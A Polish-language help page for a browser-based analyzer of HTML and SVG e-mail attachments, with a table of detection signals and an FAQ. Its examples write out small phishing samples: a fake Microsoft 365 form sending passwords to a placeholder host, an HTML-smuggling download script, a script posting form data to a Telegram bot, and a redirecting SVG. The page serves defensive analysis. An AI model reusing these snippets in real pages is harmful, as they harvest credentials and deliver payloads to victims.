Usuń warstwy Base64, szesnastkowe, kodowanie URL, gzip i deflate, aż pozostanie czytelny tekst.
Analizator załączników HTML
Samo narzędzie jest w języku angielskim; na tej stronie znajdziesz wyjaśnienia w Twoim języku.
Użyj Analizator załączników HTML
Jak to działa
Załaduj lub wklej załącznik w formacie HTML lub SVG, aby sprawdzić, jak zachowałby się po otwarciu: ukryte pliki do pobrania, formularze wysyłające hasło gdzie indziej, przekierowania, punkty końcowe służące do wycieku danych oraz zaszyfrowany kod. Plik jest odczytywany jako tekst i nigdy nie jest renderowany ani uruchamiany.
Działa całkowicie w przeglądarce: żadne wprowadzone dane nie są przesyłane.
Jak korzystać z Analizator załączników HTML
- Nie otwieraj tego pliku. Zapisz załącznik w formacie .html, .htm, .shtml, .xhtml lub .svg bez otwierania go albo skopiuj jego kod źródłowy jako tekst.
- Wczytaj lub wklej to. Przeciągnij plik do pola lub wybierz go (maks. 25 MB) albo wklej kod źródłowy (maks. 5 MB) i naciśnij przycisk „Analizuj” lub klawisze Ctrl+Enter.
- Zapoznaj się z wyrokiem. W górnym polu widnieje komunikat „Wysokie ryzyko”, „Podejrzane” lub „Nie znaleziono wzorców wysokiego ryzyka”, a poniżej znajdują się kategorie wraz z liczbą wykrytych zdarzeń, wskaźników IOC oraz osadzonych obiektów blob.
- Zapoznaj się z wynikami. Każde wykrycie zawiera informacje o stopniu zagrożenia, kategorii, numerze linii oraz odpowiadającym mu źródle, przy czym linki i adresy zostały zneutralizowane.
- Eksportuj znalezione wyniki. Skopiuj wskaźniki IOC w postaci przetworzonej lub surowej albo skorzystaj z opcji „Wyślij do”, aby użyć konwertera IOC, generatora zgłoszeń nadużyć lub – w przypadku osadzonego blobu – dekodera wielowarstwowego.
Przykład
Formularz logowania z wstępnie wypełnionym adresem
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…Wysokie ryzyko: formularz logowania wysyła hasło na adres collector[.]example, w tytule obok pola hasła widnieje nazwa „Microsoft 365”, a skrypt uzupełnia adres e-mail z fragmentu adresu URL za pomocą funkcji atob. Lista wskaźników IOC zawiera adres URL kolektora oraz jego domenę, pozbawioną elementów umożliwiających atak.
Co jest sprawdzane
| Sygnał | Co to oznacza |
|---|---|
| Przemycanie kodu HTML | Wysoki, gdy strona tworzy plik w pamięci (obiekt typu Blob za pomocą funkcji createObjectURL, link do pobrania lub msSaveOrOpenBlob) i udostępnia go do pobrania. |
| Formularze | Każdy formularz, który wysyła dane do innej witryny, jest oznaczony jako „wysoki”, a w tytule podano, czy zawiera hasło. W tabeli „Formularze” podano miejsce, do którego każdy formularz wysyła dane, metodę wysyłania oraz pola. |
| Punkty końcowe eksfiltracji | Wysoko oceniane są wywołania API botów Telegramu, tokeny botów, webhooki serwisu Discord oraz usługi do gromadzenia danych z formularzy, takie jak formspree.io czy webhook.site. |
| Zaszyfrowanie | atob, unescape, fromCharCode, długie sekwencje escape oraz dane wyjściowe znanych narzędzi do zaciemniania kodu. Literalne, zakodowane ciągi znaków są dekodowane bez ich uruchamiania. |
| Kod dynamiczny | Funkcja `eval`, konstruktor `Function`, metoda `document.write` oraz przypisania `innerHTML` generują kod lub znaczniki w czasie wykonywania. |
| Przekierowania | Zmiany lokalizacji, funkcja `window.open`, atrybut `meta refresh` oraz odczytywanie fragmentu adresu URL, w którym zestawy często przekazują adres e-mail ofiary. |
| Antyanaliza | Zablokowano funkcję prawego przycisku myszy lub klawisza F12, instrukcje debuggera, wykrywanie narzędzi programistycznych oraz sprawdzanie obecności zautomatyzowanych przeglądarek. |
| Treść osadzona | dane: identyfikatory URI, długie ciągi znaków w formacie Base64 lub szesnastkowym oraz typy plików, do których są one dekodowane, ukryte ramki iframe oraz pliki SVG zawierające skrypty. |
| Wskazówki dotyczące marki | Nazwy marek w tytule, logo lub linkach. W przypadku pola na hasło ryzyko to ocenia się jako średnie. |
Więcej przykładów
Plik do pobrania wygenerowany w przeglądarce
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>Wysokie ryzyko, przyczyna: przemycanie kodu HTML: 1 wynik o wysokim poziomie zagrożenia (strona tworzy plik w przeglądarce i udostępnia go do pobrania) oraz 4 wyniki o średnim poziomie zagrożenia dotyczące atob, new Blob, URL.createObjectURL i atrybutu download. Brak wskaźników IOC.
Hasło wysłane do bota w Telegramie
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>Wysokie ryzyko, przyczyna: wyciek danych – skrypt wysyła dane ze strony zawierającej pole hasła do serwisu api.telegram.org, a także wykrycie punktu końcowego API bota Telegramu. Ustalenia o średnim poziomie ryzyka dotyczą pobierania danych, pola hasła oraz formularza logowania bez konieczności podejmowania działań zewnętrznych.
Obraz SVG, który przekierowuje
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>Wysokie ryzyko: plik SVG zawierający skrypt, a także przekierowanie o średnim poziomie zagrożenia oraz wykrycie btoa o niskim poziomie zagrożenia. Cel pojawia się w sekcji „Żądania i przekierowania” jako inna witryna, a adres URL przestrzeni nazw XML nie został uwzględniony w wskaźnikach IOC.
Najczęściej zadawane pytania
Na co zwraca uwagę analizator?
Sprawdza treść źródłową pod kątem reguł dotyczących przemycania kodu HTML (Blob, createObjectURL, msSaveOrOpenBlob, linki do pobrania, adresy typu data: URI oraz długie bloby Base64), formularze i skrypty wysyłające dane do innych witryn, wyciek danych z Telegramu i Discorda, przekierowania, ukryte ramki iframe, narzędzia do zaciemniania kodu oraz sztuczki utrudniające analizę. Ponadto dekoduje literały atob, unescape i fromCharCode bez ich uruchamiania oraz wyświetla listę wszystkich znalezionych adresów URL, domen, adresów IP i adresów e-mail, pozbawionych szkodliwości.
Czy może coś przeoczyć lub wygenerować fałszywy alarm?
Tak. Kod zaszyfrowany lub generowany w czasie wykonywania może ukrywać swoje zachowanie przed analizą statyczną, a zwykłe strony również wykorzystują funkcje `fetch`, `innerHTML` lub obrazy osadzone, dlatego warto zapoznać się z odpowiednim kodem źródłowym wyświetlanym obok każdego wyniku. Do odszyfrowywania i emulacji w środowisku sandboxowym należy użyć narzędzia JS Analyzer.
Czy plik został przesłany, czy otwarty?
Nie. Plik jest odczytywany w przeglądarce jako tekst i nigdy nie jest renderowany, wykonywany ani wysyłany gdziekolwiek. Akceptowane są pliki o rozmiarze do 25 MB; w przypadku bardzo dużych plików skanowane są pierwsze 4 MB i ostatni 1 MB kodu, a osadzone obiekty blob są wliczane do całkowitej wielkości pliku.
Dlaczego obraz SVG jest sprawdzany tak samo jak strona internetowa?
Pliki SVG to pliki XML, które przeglądarki otwierają jak strony internetowe, dzięki czemu mogą zawierać skrypty, linki i osadzony kod HTML. Obraz nie wymaga skryptu, dlatego obecność skryptu w pliku SVG jest wysoko oceniana.
Czym są wbudowane obiekty typu blob?
Długie ciągi znaków w formacie Base64, szesnastkowym lub jako tablica bajtów zawarte w pliku. Są one dekodowane w pamięci i oznaczane typem pliku, w jaki się przekształcają; można skopiować jeden z nich lub wysłać blok tekstowy do dekodera wielowarstwowego.
Co oznaczają poziomy zagrożenia?
Wysoki poziom odnosi się do schematów wykorzystywanych w phishingowych wiadomościach i załącznikach zawierających złośliwe oprogramowanie, takich jak przemycanie danych, wyciek danych z punktów końcowych lub przesyłanie formularzy z hasłami do innych miejsc. Poziom średni obejmuje techniki stosowane również na zwykłych stronach internetowych. Jedno wykrycie o wysokim poziomie powoduje, że ocena brzmi: „Wysokie ryzyko”.